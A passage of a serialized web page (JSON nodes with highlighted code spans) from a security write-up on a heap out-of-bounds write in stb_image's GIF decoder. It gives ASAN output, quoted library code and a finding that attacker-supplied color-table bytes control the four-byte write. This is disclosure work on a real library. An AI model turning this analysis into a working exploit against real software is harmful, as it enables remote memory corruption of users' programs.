",{"type":23,"tag":314,"props":147330,"children":147331},{"style":354},[147332],{"type":28,"value":3835},{"type":23,"tag":314,"props":147334,"children":147335},{"style":1054},[147336],{"type":28,"value":1057},{"type":23,"tag":314,"props":147338,"children":147339},{"style":338},[147340],{"type":28,"value":1322},{"type":23,"tag":314,"props":147342,"children":147343},{"style":354},[147344],{"type":28,"value":1102},{"type":23,"tag":314,"props":147346,"children":147347},{"style":1054},[147348],{"type":28,"value":3778},{"type":23,"tag":314,"props":147350,"children":147351},{"style":338},[147352],{"type":28,"value":48324},{"type":23,"tag":314,"props":147354,"children":147355},{"style":374},[147356],{"type":28,"value":147357}," // OOB write\n",{"type":23,"tag":24,"props":147359,"children":147360},{},[147361,147363,147368,147370,147376,147378,147384],{"type":28,"value":147362},"It’s reasonable to assume ",{"type":23,"tag":94,"props":147364,"children":147366},{"className":147365},[],[147367],{"type":28,"value":2000},{"type":28,"value":147369}," is outside the bounds of ",{"type":23,"tag":94,"props":147371,"children":147373},{"className":147372},[],[147374],{"type":28,"value":147375},"g->history",{"type":28,"value":147377},", which leads to a one-byte OOB write (",{"type":23,"tag":94,"props":147379,"children":147381},{"className":147380},[],[147382],{"type":28,"value":147383},"g->history[idx / 4] = 1",{"type":28,"value":147385},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":23,"tag":24,"props":147387,"children":147388},{},[147389,147391,147396,147398,147404,147406,147411,147413,147419,147421,147427],{"type":28,"value":147390},"Because ",{"type":23,"tag":94,"props":147392,"children":147394},{"className":147393},[],[147395],{"type":28,"value":24},{"type":28,"value":147397}," is computed from ",{"type":23,"tag":94,"props":147399,"children":147401},{"className":147400},[],[147402],{"type":28,"value":147403},"g->out[idx]",{"type":28,"value":147405}," immediately before the violation, we considered whether ",{"type":23,"tag":94,"props":147407,"children":147409},{"className":147408},[],[147410],{"type":28,"value":2000},{"type":28,"value":147412}," could also be OOB for ",{"type":23,"tag":94,"props":147414,"children":147416},{"className":147415},[],[147417],{"type":28,"value":147418},"g->out",{"type":28,"value":147420},". Note that computing the address ",{"type":23,"tag":94,"props":147422,"children":147424},{"className":147423},[],[147425],{"type":28,"value":147426},"&g->out[idx]",{"type":28,"value":147428}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":23,"tag":24,"props":147430,"children":147431},{},[147432,147434,147439],{"type":28,"value":147433},"If we comment out ",{"type":23,"tag":94,"props":147435,"children":147437},{"className":147436},[],[147438],{"type":28,"value":147383},{"type":28,"value":147440}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":23,"tag":304,"props":147442,"children":147444},{"code":147443},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n [...]\n",[147445],{"type":23,"tag":94,"props":147446,"children":147447},{"__ignoreMap":7},[147448],{"type":28,"value":147443},{"type":23,"tag":24,"props":147450,"children":147451},{},[147452],{"type":28,"value":147453},"This corresponds to:",{"type":23,"tag":304,"props":147455,"children":147457},{"code":147456,"language":308,"meta":7,"className":306,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n [...]\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; \n\n c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2]; // OOB write\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[147458],{"type":23,"tag":94,"props":147459,"children":147460},{"__ignoreMap":7},[147461,147500,147507,147514,147521,147564,147595,147639,147646,147714,147754,147799,147838,147877,147916],{"type":23,"tag":314,"props":147462,"children":147463},{"class":316,"line":317},[147464,147468,147472,147476,147480,147484,147488,147492,147496],{"type":23,"tag":314,"props":147465,"children":147466},{"style":321},[147467],{"type":28,"value":50295},{"type":23,"tag":314,"props":147469,"children":147470},{"style":321},[147471],{"type":28,"value":50300},{"type":23,"tag":314,"props":147473,"children":147474},{"style":332},[147475],{"type":28,"value":147072},{"type":23,"tag":314,"props":147477,"children":147478},{"style":338},[147479],{"type":28,"value":147077},{"type":23,"tag":314,"props":147481,"children":147482},{"style":354},[147483],{"type":28,"value":256},{"type":23,"tag":314,"props":147485,"children":147486},{"style":360},[147487],{"type":28,"value":108550},{"type":23,"tag":314,"props":147489,"children":147490},{"style":338},[147491],{"type":28,"value":147090},{"type":23,"tag":314,"props":147493,"children":147494},{"style":360},[147495],{"type":28,"value":94},{"type":23,"tag":314,"props":147497,"children":147498},{"style":338},[147499],{"type":28,"value":2414},{"type":23,"tag":314,"props":147501,"children":147502},{"class":316,"line":370},[147503],{"type":23,"tag":314,"props":147504,"children":147505},{"style":338},[147506],{"type":28,"value":10129},{"type":23,"tag":314,"props":147508,"children":147509},{"class":316,"line":380},[147510],{"type":23,"tag":314,"props":147511,"children":147512},{"style":338},[147513],{"type":28,"value":147159},{"type":23,"tag":314,"props":147515,"children":147516},{"class":316,"line":1091},[147517],{"type":23,"tag":314,"props":147518,"children":147519},{"emptyLinePlaceholder":18},[147520],{"type":28,"value":1088},{"type":23,"tag":314,"props":147522,"children":147523},{"class":316,"line":1141},[147524,147528,147532,147536,147540,147544,147548,147552,147556,147560],{"type":23,"tag":314,"props":147525,"children":147526},{"style":338},[147527],{"type":28,"value":147235},{"type":23,"tag":314,"props":147529,"children":147530},{"style":354},[147531],{"type":28,"value":1102},{"type":23,"tag":314,"props":147533,"children":147534},{"style":360},[147535],{"type":28,"value":147199},{"type":23,"tag":314,"props":147537,"children":147538},{"style":338},[147539],{"type":28,"value":1015},{"type":23,"tag":314,"props":147541,"children":147542},{"style":360},[147543],{"type":28,"value":147252},{"type":23,"tag":314,"props":147545,"children":147546},{"style":354},[147547],{"type":28,"value":1572},{"type":23,"tag":314,"props":147549,"children":147550},{"style":360},[147551],{"type":28,"value":147199},{"type":23,"tag":314,"props":147553,"children":147554},{"style":338},[147555],{"type":28,"value":1015},{"type":23,"tag":314,"props":147557,"children":147558},{"style":360},[147559],{"type":28,"value":147190},{"type":23,"tag":314,"props":147561,"children":147562},{"style":338},[147563],{"type":28,"value":147273},{"type":23,"tag":314,"props":147565,"children":147566},{"class":316,"line":1173},[147567,147571,147575,147579,147583,147587,147591],{"type":23,"tag":314,"props":147568,"children":147569},{"style":338},[147570],{"type":28,"value":147281},{"type":23,"tag":314,"props":147572,"children":147573},{"style":354},[147574],{"type":28,"value":1102},{"type":23,"tag":314,"props":147576,"children":147577},{"style":354},[147578],{"type":28,"value":1968},{"type":23,"tag":314,"props":147580,"children":147581},{"style":360},[147582],{"type":28,"value":108550},{"type":23,"tag":314,"props":147584,"children":147585},{"style":338},[147586],{"type":28,"value":1015},{"type":23,"tag":314,"props":147588,"children":147589},{"style":360},[147590],{"type":28,"value":117973},{"type":23,"tag":314,"props":147592,"children":147593},{"style":338},[147594],{"type":28,"value":147306},{"type":23,"tag":314,"props":147596,"children":147597},{"class":316,"line":1208},[147598,147602,147606,147610,147614,147618,147622,147626,147630,147634],{"type":23,"tag":314,"props":147599,"children":147600},{"style":360},[147601],{"type":28,"value":147314},{"type":23,"tag":314,"props":147603,"children":147604},{"style":338},[147605],{"type":28,"value":1015},{"type":23,"tag":314,"props":147607,"children":147608},{"style":360},[147609],{"type":28,"value":147323},{"type":23,"tag":314,"props":147611,"children":147612},{"style":338},[147613],{"type":28,"value":147328},{"type":23,"tag":314,"props":147615,"children":147616},{"style":354},[147617],{"type":28,"value":3835},{"type":23,"tag":314,"props":147619,"children":147620},{"style":1054},[147621],{"type":28,"value":1057},{"type":23,"tag":314,"props":147623,"children":147624},{"style":338},[147625],{"type":28,"value":1322},{"type":23,"tag":314,"props":147627,"children":147628},{"style":354},[147629],{"type":28,"value":1102},{"type":23,"tag":314,"props":147631,"children":147632},{"style":1054},[147633],{"type":28,"value":3778},{"type":23,"tag":314,"props":147635,"children":147636},{"style":338},[147637],{"type":28,"value":147638},"; \n",{"type":23,"tag":314,"props":147640,"children":147641},{"class":316,"line":1216},[147642],{"type":23,"tag":314,"props":147643,"children":147644},{"emptyLinePlaceholder":18},[147645],{"type":28,"value":1088},{"type":23,"tag":314,"props":147647,"children":147648},{"class":316,"line":1301},[147649,147654,147658,147662,147666,147670,147675,147679,147683,147687,147692,147697,147702,147706,147710],{"type":23,"tag":314,"props":147650,"children":147651},{"style":338},[147652],{"type":28,"value":147653}," c ",{"type":23,"tag":314,"props":147655,"children":147656},{"style":354},[147657],{"type":28,"value":1102},{"type":23,"tag":314,"props":147659,"children":147660},{"style":354},[147661],{"type":28,"value":1968},{"type":23,"tag":314,"props":147663,"children":147664},{"style":360},[147665],{"type":28,"value":108550},{"type":23,"tag":314,"props":147667,"children":147668},{"style":338},[147669],{"type":28,"value":1015},{"type":23,"tag":314,"props":147671,"children":147672},{"style":360},[147673],{"type":28,"value":147674},"color_table",{"type":23,"tag":314,"props":147676,"children":147677},{"style":338},[147678],{"type":28,"value":1312},{"type":23,"tag":314,"props":147680,"children":147681},{"style":360},[147682],{"type":28,"value":108550},{"type":23,"tag":314,"props":147684,"children":147685},{"style":338},[147686],{"type":28,"value":1015},{"type":23,"tag":314,"props":147688,"children":147689},{"style":360},[147690],{"type":28,"value":147691},"codes",{"type":23,"tag":314,"props":147693,"children":147694},{"style":338},[147695],{"type":28,"value":147696},"[code].",{"type":23,"tag":314,"props":147698,"children":147699},{"style":360},[147700],{"type":28,"value":147701},"suffix",{"type":23,"tag":314,"props":147703,"children":147704},{"style":354},[147705],{"type":28,"value":357},{"type":23,"tag":314,"props":147707,"children":147708},{"style":1054},[147709],{"type":28,"value":1057},{"type":23,"tag":314,"props":147711,"children":147712},{"style":338},[147713],{"type":28,"value":2005},{"type":23,"tag":314,"props":147715,"children":147716},{"class":316,"line":1343},[147717,147721,147725,147729,147733,147737,147741,147745,147750],{"type":23,"tag":314,"props":147718,"children":147719},{"style":2284},[147720],{"type":28,"value":51895},{"type":23,"tag":314,"props":147722,"children":147723},{"style":338},[147724],{"type":28,"value":2324},{"type":23,"tag":314,"props":147726,"children":147727},{"style":360},[147728],{"type":28,"value":308},{"type":23,"tag":314,"props":147730,"children":147731},{"style":338},[147732],{"type":28,"value":1312},{"type":23,"tag":314,"props":147734,"children":147735},{"style":1054},[147736],{"type":28,"value":16535},{"type":23,"tag":314,"props":147738,"children":147739},{"style":338},[147740],{"type":28,"value":1322},{"type":23,"tag":314,"props":147742,"children":147743},{"style":354},[147744],{"type":28,"value":9710},{"type":23,"tag":314,"props":147746,"children":147747},{"style":1054},[147748],{"type":28,"value":147749}," 128",{"type":23,"tag":314,"props":147751,"children":147752},{"style":338},[147753],{"type":28,"value":367},{"type":23,"tag":314,"props":147755,"children":147756},{"class":316,"line":1351},[147757,147762,147766,147770,147774,147778,147782,147786,147790,147794],{"type":23,"tag":314,"props":147758,"children":147759},{"style":360},[147760],{"type":28,"value":147761}," p",{"type":23,"tag":314,"props":147763,"children":147764},{"style":338},[147765],{"type":28,"value":1312},{"type":23,"tag":314,"props":147767,"children":147768},{"style":1054},[147769],{"type":28,"value":1600},{"type":23,"tag":314,"props":147771,"children":147772},{"style":338},[147773],{"type":28,"value":1322},{"type":23,"tag":314,"props":147775,"children":147776},{"style":354},[147777],{"type":28,"value":1102},{"type":23,"tag":314,"props":147779,"children":147780},{"style":360},[147781],{"type":28,"value":36694},{"type":23,"tag":314,"props":147783,"children":147784},{"style":338},[147785],{"type":28,"value":1312},{"type":23,"tag":314,"props":147787,"children":147788},{"style":1054},[147789],{"type":28,"value":2378},{"type":23,"tag":314,"props":147791,"children":147792},{"style":338},[147793],{"type":28,"value":55162},{"type":23,"tag":314,"props":147795,"children":147796},{"style":374},[147797],{"type":28,"value":147798}," // OOB write\n",{"type":23,"tag":314,"props":147800,"children":147801},{"class":316,"line":1387},[147802,147806,147810,147814,147818,147822,147826,147830,147834],{"type":23,"tag":314,"props":147803,"children":147804},{"style":360},[147805],{"type":28,"value":147761},{"type":23,"tag":314,"props":147807,"children":147808},{"style":338},[147809],{"type":28,"value":1312},{"type":23,"tag":314,"props":147811,"children":147812},{"style":1054},[147813],{"type":28,"value":3267},{"type":23,"tag":314,"props":147815,"children":147816},{"style":338},[147817],{"type":28,"value":1322},{"type":23,"tag":314,"props":147819,"children":147820},{"style":354},[147821],{"type":28,"value":1102},{"type":23,"tag":314,"props":147823,"children":147824},{"style":360},[147825],{"type":28,"value":36694},{"type":23,"tag":314,"props":147827,"children":147828},{"style":338},[147829],{"type":28,"value":1312},{"type":23,"tag":314,"props":147831,"children":147832},{"style":1054},[147833],{"type":28,"value":3267},{"type":23,"tag":314,"props":147835,"children":147836},{"style":338},[147837],{"type":28,"value":2005},{"type":23,"tag":314,"props":147839,"children":147840},{"class":316,"line":1422},[147841,147845,147849,147853,147857,147861,147865,147869,147873],{"type":23,"tag":314,"props":147842,"children":147843},{"style":360},[147844],{"type":28,"value":147761},{"type":23,"tag":314,"props":147846,"children":147847},{"style":338},[147848],{"type":28,"value":1312},{"type":23,"tag":314,"props":147850,"children":147851},{"style":1054},[147852],{"type":28,"value":2378},{"type":23,"tag":314,"props":147854,"children":147855},{"style":338},[147856],{"type":28,"value":1322},{"type":23,"tag":314,"props":147858,"children":147859},{"style":354},[147860],{"type":28,"value":1102},{"type":23,"tag":314,"props":147862,"children":147863},{"style":360},[147864],{"type":28,"value":36694},{"type":23,"tag":314,"props":147866,"children":147867},{"style":338},[147868],{"type":28,"value":1312},{"type":23,"tag":314,"props":147870,"children":147871},{"style":1054},[147872],{"type":28,"value":1600},{"type":23,"tag":314,"props":147874,"children":147875},{"style":338},[147876],{"type":28,"value":2005},{"type":23,"tag":314,"props":147878,"children":147879},{"class":316,"line":1430},[147880,147884,147888,147892,147896,147900,147904,147908,147912],{"type":23,"tag":314,"props":147881,"children":147882},{"style":360},[147883],{"type":28,"value":147761},{"type":23,"tag":314,"props":147885,"children":147886},{"style":338},[147887],{"type":28,"value":1312},{"type":23,"tag":314,"props":147889,"children":147890},{"style":1054},[147891],{"type":28,"value":16535},{"type":23,"tag":314,"props":147893,"children":147894},{"style":338},[147895],{"type":28,"value":1322},{"type":23,"tag":314,"props":147897,"children":147898},{"style":354},[147899],{"type":28,"value":1102},{"type":23,"tag":314,"props":147901,"children":147902},{"style":360},[147903],{"type":28,"value":36694},{"type":23,"tag":314,"props":147905,"children":147906},{"style":338},[147907],{"type":28,"value":1312},{"type":23,"tag":314,"props":147909,"children":147910},{"style":1054},[147911],{"type":28,"value":16535},{"type":23,"tag":314,"props":147913,"children":147914},{"style":338},[147915],{"type":28,"value":2005},{"type":23,"tag":314,"props":147917,"children":147918},{"class":316,"line":1452},[147919],{"type":23,"tag":314,"props":147920,"children":147921},{"style":338},[147922],{"type":28,"value":33997},{"type":23,"tag":24,"props":147924,"children":147925},{},[147926,147928,147933,147935,147940],{"type":28,"value":147927},"This confirms ",{"type":23,"tag":94,"props":147929,"children":147931},{"className":147930},[],[147932],{"type":28,"value":2000},{"type":28,"value":147934}," is OOB for ",{"type":23,"tag":94,"props":147936,"children":147938},{"className":147937},[],[147939],{"type":28,"value":147418},{"type":28,"value":147941}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":23,"tag":24,"props":147943,"children":147944},{},[147945,147947,147953,147955,147962],{"type":28,"value":147946},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":23,"tag":94,"props":147948,"children":147950},{"className":147949},[],[147951],{"type":28,"value":147952},"g->color_table",{"type":28,"value":147954}," is populated by ",{"type":23,"tag":31,"props":147956,"children":147959},{"href":147957,"rel":147958},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[35],[147960],{"type":28,"value":147961},"stbi__gif_parse_colortable",{"type":28,"value":3746},{"type":23,"tag":304,"props":147964,"children":147966},{"code":147965,"language":308,"meta":7,"className":306,"style":7},"static void stbi__gif_parse_colortable(\n stbi__context *s,\n stbi_uc pal[256][4], // g->color_table\n int num_entries,\n int transp\n) {\n int i;\n for (i=0; i \u003C num_entries; ++i) {\n pal[i][2] = stbi__get8(s);\n pal[i][1] = stbi__get8(s);\n pal[i][0] = stbi__get8(s);\n pal[i][3] = transp == i ? 0 : 255;\n }\n}\n",[147967],{"type":23,"tag":94,"props":147968,"children":147969},{"__ignoreMap":7},[147970,147990,148010,148049,148065,148077,148084,148095,148138,148172,148203,148234,148291,148298],{"type":23,"tag":314,"props":147971,"children":147972},{"class":316,"line":317},[147973,147977,147981,147986],{"type":23,"tag":314,"props":147974,"children":147975},{"style":321},[147976],{"type":28,"value":50295},{"type":23,"tag":314,"props":147978,"children":147979},{"style":321},[147980],{"type":28,"value":50300},{"type":23,"tag":314,"props":147982,"children":147983},{"style":332},[147984],{"type":28,"value":147985}," stbi__gif_parse_colortable",{"type":23,"tag":314,"props":147987,"children":147988},{"style":338},[147989],{"type":28,"value":2719},{"type":23,"tag":314,"props":147991,"children":147992},{"class":316,"line":370},[147993,147998,148002,148006],{"type":23,"tag":314,"props":147994,"children":147995},{"style":338},[147996],{"type":28,"value":147997}," stbi__context ",{"type":23,"tag":314,"props":147999,"children":148000},{"style":354},[148001],{"type":28,"value":256},{"type":23,"tag":314,"props":148003,"children":148004},{"style":360},[148005],{"type":28,"value":9900},{"type":23,"tag":314,"props":148007,"children":148008},{"style":338},[148009],{"type":28,"value":1870},{"type":23,"tag":314,"props":148011,"children":148012},{"class":316,"line":380},[148013,148018,148023,148027,148031,148035,148039,148044],{"type":23,"tag":314,"props":148014,"children":148015},{"style":338},[148016],{"type":28,"value":148017}," stbi_uc ",{"type":23,"tag":314,"props":148019,"children":148020},{"style":360},[148021],{"type":28,"value":148022},"pal",{"type":23,"tag":314,"props":148024,"children":148025},{"style":338},[148026],{"type":28,"value":1312},{"type":23,"tag":314,"props":148028,"children":148029},{"style":1054},[148030],{"type":28,"value":92547},{"type":23,"tag":314,"props":148032,"children":148033},{"style":338},[148034],{"type":28,"value":48208},{"type":23,"tag":314,"props":148036,"children":148037},{"style":1054},[148038],{"type":28,"value":1567},{"type":23,"tag":314,"props":148040,"children":148041},{"style":338},[148042],{"type":28,"value":148043},"],",{"type":23,"tag":314,"props":148045,"children":148046},{"style":374},[148047],{"type":28,"value":148048}," // g->color_table\n",{"type":23,"tag":314,"props":148050,"children":148051},{"class":316,"line":1091},[148052,148056,148061],{"type":23,"tag":314,"props":148053,"children":148054},{"style":321},[148055],{"type":28,"value":18315},{"type":23,"tag":314,"props":148057,"children":148058},{"style":360},[148059],{"type":28,"value":148060}," num_entries",{"type":23,"tag":314,"props":148062,"children":148063},{"style":338},[148064],{"type":28,"value":1870},{"type":23,"tag":314,"props":148066,"children":148067},{"class":316,"line":1141},[148068,148072],{"type":23,"tag":314,"props":148069,"children":148070},{"style":321},[148071],{"type":28,"value":18315},{"type":23,"tag":314,"props":148073,"children":148074},{"style":338},[148075],{"type":28,"value":148076}," transp\n",{"type":23,"tag":314,"props":148078,"children":148079},{"class":316,"line":1173},[148080],{"type":23,"tag":314,"props":148081,"children":148082},{"style":338},[148083],{"type":28,"value":367},{"type":23,"tag":314,"props":148085,"children":148086},{"class":316,"line":1208},[148087,148091],{"type":23,"tag":314,"props":148088,"children":148089},{"style":321},[148090],{"type":28,"value":147139},{"type":23,"tag":314,"props":148092,"children":148093},{"style":338},[148094],{"type":28,"value":57215},{"type":23,"tag":314,"props":148096,"children":148097},{"class":316,"line":1216},[148098,148103,148108,148112,148116,148120,148124,148129,148133],{"type":23,"tag":314,"props":148099,"children":148100},{"style":2284},[148101],{"type":28,"value":148102}," for",{"type":23,"tag":314,"props":148104,"children":148105},{"style":338},[148106],{"type":28,"value":148107}," (i",{"type":23,"tag":314,"props":148109,"children":148110},{"style":354},[148111],{"type":28,"value":1102},{"type":23,"tag":314,"props":148113,"children":148114},{"style":1054},[148115],{"type":28,"value":1600},{"type":23,"tag":314,"props":148117,"children":148118},{"style":338},[148119],{"type":28,"value":50484},{"type":23,"tag":314,"props":148121,"children":148122},{"style":354},[148123],{"type":28,"value":5060},{"type":23,"tag":314,"props":148125,"children":148126},{"style":338},[148127],{"type":28,"value":148128}," num_entries; ",{"type":23,"tag":314,"props":148130,"children":148131},{"style":354},[148132],{"type":28,"value":50520},{"type":23,"tag":314,"props":148134,"children":148135},{"style":338},[148136],{"type":28,"value":148137},"i) {\n",{"type":23,"tag":314,"props":148139,"children":148140},{"class":316,"line":1301},[148141,148146,148150,148154,148158,148162,148167],{"type":23,"tag":314,"props":148142,"children":148143},{"style":360},[148144],{"type":28,"value":148145}," pal",{"type":23,"tag":314,"props":148147,"children":148148},{"style":338},[148149],{"type":28,"value":59906},{"type":23,"tag":314,"props":148151,"children":148152},{"style":1054},[148153],{"type":28,"value":2378},{"type":23,"tag":314,"props":148155,"children":148156},{"style":338},[148157],{"type":28,"value":1322},{"type":23,"tag":314,"props":148159,"children":148160},{"style":354},[148161],{"type":28,"value":1102},{"type":23,"tag":314,"props":148163,"children":148164},{"style":332},[148165],{"type":28,"value":148166}," stbi__get8",{"type":23,"tag":314,"props":148168,"children":148169},{"style":338},[148170],{"type":28,"value":148171},"(s);\n",{"type":23,"tag":314,"props":148173,"children":148174},{"class":316,"line":1343},[148175,148179,148183,148187,148191,148195,148199],{"type":23,"tag":314,"props":148176,"children":148177},{"style":360},[148178],{"type":28,"value":148145},{"type":23,"tag":314,"props":148180,"children":148181},{"style":338},[148182],{"type":28,"value":59906},{"type":23,"tag":314,"props":148184,"children":148185},{"style":1054},[148186],{"type":28,"value":3267},{"type":23,"tag":314,"props":148188,"children":148189},{"style":338},[148190],{"type":28,"value":1322},{"type":23,"tag":314,"props":148192,"children":148193},{"style":354},[148194],{"type":28,"value":1102},{"type":23,"tag":314,"props":148196,"children":148197},{"style":332},[148198],{"type":28,"value":148166},{"type":23,"tag":314,"props":148200,"children":148201},{"style":338},[148202],{"type":28,"value":148171},{"type":23,"tag":314,"props":148204,"children":148205},{"class":316,"line":1351},[148206,148210,148214,148218,148222,148226,148230],{"type":23,"tag":314,"props":148207,"children":148208},{"style":360},[148209],{"type":28,"value":148145},{"type":23,"tag":314,"props":148211,"children":148212},{"style":338},[148213],{"type":28,"value":59906},{"type":23,"tag":314,"props":148215,"children":148216},{"style":1054},[148217],{"type":28,"value":1600},{"type":23,"tag":314,"props":148219,"children":148220},{"style":338},[148221],{"type":28,"value":1322},{"type":23,"tag":314,"props":148223,"children":148224},{"style":354},[148225],{"type":28,"value":1102},{"type":23,"tag":314,"props":148227,"children":148228},{"style":332},[148229],{"type":28,"value":148166},{"type":23,"tag":314,"props":148231,"children":148232},{"style":338},[148233],{"type":28,"value":148171},{"type":23,"tag":314,"props":148235,"children":148236},{"class":316,"line":1387},[148237,148241,148245,148249,148253,148257,148262,148266,148270,148274,148278,148282,148287],{"type":23,"tag":314,"props":148238,"children":148239},{"style":360},[148240],{"type":28,"value":148145},{"type":23,"tag":314,"props":148242,"children":148243},{"style":338},[148244],{"type":28,"value":59906},{"type":23,"tag":314,"props":148246,"children":148247},{"style":1054},[148248],{"type":28,"value":16535},{"type":23,"tag":314,"props":148250,"children":148251},{"style":338},[148252],{"type":28,"value":1322},{"type":23,"tag":314,"props":148254,"children":148255},{"style":354},[148256],{"type":28,"value":1102},{"type":23,"tag":314,"props":148258,"children":148259},{"style":338},[148260],{"type":28,"value":148261}," transp ",{"type":23,"tag":314,"props":148263,"children":148264},{"style":354},[148265],{"type":28,"value":7828},{"type":23,"tag":314,"props":148267,"children":148268},{"style":338},[148269],{"type":28,"value":53795},{"type":23,"tag":314,"props":148271,"children":148272},{"style":354},[148273],{"type":28,"value":2409},{"type":23,"tag":314,"props":148275,"children":148276},{"style":1054},[148277],{"type":28,"value":1201},{"type":23,"tag":314,"props":148279,"children":148280},{"style":354},[148281],{"type":28,"value":34365},{"type":23,"tag":314,"props":148283,"children":148284},{"style":1054},[148285],{"type":28,"value":148286}," 255",{"type":23,"tag":314,"props":148288,"children":148289},{"style":338},[148290],{"type":28,"value":2278},{"type":23,"tag":314,"props":148292,"children":148293},{"class":316,"line":1422},[148294],{"type":23,"tag":314,"props":148295,"children":148296},{"style":338},[148297],{"type":28,"value":33997},{"type":23,"tag":314,"props":148299,"children":148300},{"class":316,"line":1430},[148301],{"type":23,"tag":314,"props":148302,"children":148303},{"style":338},[148304],{"type":28,"value":386},{"type":23,"tag":24,"props":148306,"children":148307},{},[148308,148310,148315,148316,148321,148323,148328],{"type":28,"value":148309},"The first three bytes are read from the input image, while the last byte can be either ",{"type":23,"tag":94,"props":148311,"children":148313},{"className":148312},[],[148314],{"type":28,"value":1600},{"type":28,"value":515},{"type":23,"tag":94,"props":148317,"children":148319},{"className":148318},[],[148320],{"type":28,"value":112595},{"type":28,"value":148322},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":23,"tag":94,"props":148324,"children":148326},{"className":148325},[],[148327],{"type":28,"value":29096},{"type":28,"value":3746},{"type":23,"tag":304,"props":148330,"children":148332},{"code":148331,"language":308,"meta":7,"className":306,"style":7}," c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2];\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[148333],{"type":23,"tag":94,"props":148334,"children":148335},{"__ignoreMap":7},[148336,148399,148438,148477,148516,148555,148594],{"type":23,"tag":314,"props":148337,"children":148338},{"class":316,"line":317},[148339,148343,148347,148351,148355,148359,148363,148367,148371,148375,148379,148383,148387,148391,148395],{"type":23,"tag":314,"props":148340,"children":148341},{"style":338},[148342],{"type":28,"value":147653},{"type":23,"tag":314,"props":148344,"children":148345},{"style":354},[148346],{"type":28,"value":1102},{"type":23,"tag":314,"props":148348,"children":148349},{"style":354},[148350],{"type":28,"value":1968},{"type":23,"tag":314,"props":148352,"children":148353},{"style":338},[148354],{"type":28,"value":108550},{"type":23,"tag":314,"props":148356,"children":148357},{"style":354},[148358],{"type":28,"value":1015},{"type":23,"tag":314,"props":148360,"children":148361},{"style":360},[148362],{"type":28,"value":147674},{"type":23,"tag":314,"props":148364,"children":148365},{"style":338},[148366],{"type":28,"value":1312},{"type":23,"tag":314,"props":148368,"children":148369},{"style":360},[148370],{"type":28,"value":108550},{"type":23,"tag":314,"props":148372,"children":148373},{"style":338},[148374],{"type":28,"value":1015},{"type":23,"tag":314,"props":148376,"children":148377},{"style":360},[148378],{"type":28,"value":147691},{"type":23,"tag":314,"props":148380,"children":148381},{"style":338},[148382],{"type":28,"value":147696},{"type":23,"tag":314,"props":148384,"children":148385},{"style":360},[148386],{"type":28,"value":147701},{"type":23,"tag":314,"props":148388,"children":148389},{"style":354},[148390],{"type":28,"value":357},{"type":23,"tag":314,"props":148392,"children":148393},{"style":1054},[148394],{"type":28,"value":1057},{"type":23,"tag":314,"props":148396,"children":148397},{"style":338},[148398],{"type":28,"value":2005},{"type":23,"tag":314,"props":148400,"children":148401},{"class":316,"line":370},[148402,148406,148410,148414,148418,148422,148426,148430,148434],{"type":23,"tag":314,"props":148403,"children":148404},{"style":2284},[148405],{"type":28,"value":51895},{"type":23,"tag":314,"props":148407,"children":148408},{"style":338},[148409],{"type":28,"value":2324},{"type":23,"tag":314,"props":148411,"children":148412},{"style":360},[148413],{"type":28,"value":308},{"type":23,"tag":314,"props":148415,"children":148416},{"style":338},[148417],{"type":28,"value":1312},{"type":23,"tag":314,"props":148419,"children":148420},{"style":1054},[148421],{"type":28,"value":16535},{"type":23,"tag":314,"props":148423,"children":148424},{"style":338},[148425],{"type":28,"value":1322},{"type":23,"tag":314,"props":148427,"children":148428},{"style":354},[148429],{"type":28,"value":9710},{"type":23,"tag":314,"props":148431,"children":148432},{"style":1054},[148433],{"type":28,"value":147749},{"type":23,"tag":314,"props":148435,"children":148436},{"style":338},[148437],{"type":28,"value":367},{"type":23,"tag":314,"props":148439,"children":148440},{"class":316,"line":380},[148441,148445,148449,148453,148457,148461,148465,148469,148473],{"type":23,"tag":314,"props":148442,"children":148443},{"style":360},[148444],{"type":28,"value":147761},{"type":23,"tag":314,"props":148446,"children":148447},{"style":338},[148448],{"type":28,"value":1312},{"type":23,"tag":314,"props":148450,"children":148451},{"style":1054},[148452],{"type":28,"value":1600},{"type":23,"tag":314,"props":148454,"children":148455},{"style":338},[148456],{"type":28,"value":1322},{"type":23,"tag":314,"props":148458,"children":148459},{"style":354},[148460],{"type":28,"value":1102},{"type":23,"tag":314,"props":148462,"children":148463},{"style":360},[148464],{"type":28,"value":36694},{"type":23,"tag":314,"props":148466,"children":148467},{"style":338},[148468],{"type":28,"value":1312},{"type":23,"tag":314,"props":148470,"children":148471},{"style":1054},[148472],{"type":28,"value":2378},{"type":23,"tag":314,"props":148474,"children":148475},{"style":338},[148476],{"type":28,"value":2005},{"type":23,"tag":314,"props":148478,"children":148479},{"class":316,"line":1091},[148480,148484,148488,148492,148496,148500,148504,148508,148512],{"type":23,"tag":314,"props":148481,"children":148482},{"style":360},[148483],{"type":28,"value":147761},{"type":23,"tag":314,"props":148485,"children":148486},{"style":338},[148487],{"type":28,"value":1312},{"type":23,"tag":314,"props":148489,"children":148490},{"style":1054},[148491],{"type":28,"value":3267},{"type":23,"tag":314,"props":148493,"children":148494},{"style":338},[148495],{"type":28,"value":1322},{"type":23,"tag":314,"props":148497,"children":148498},{"style":354},[148499],{"type":28,"value":1102},{"type":23,"tag":314,"props":148501,"children":148502},{"style":360},[148503],{"type":28,"value":36694},{"type":23,"tag":314,"props":148505,"children":148506},{"style":338},[148507],{"type":28,"value"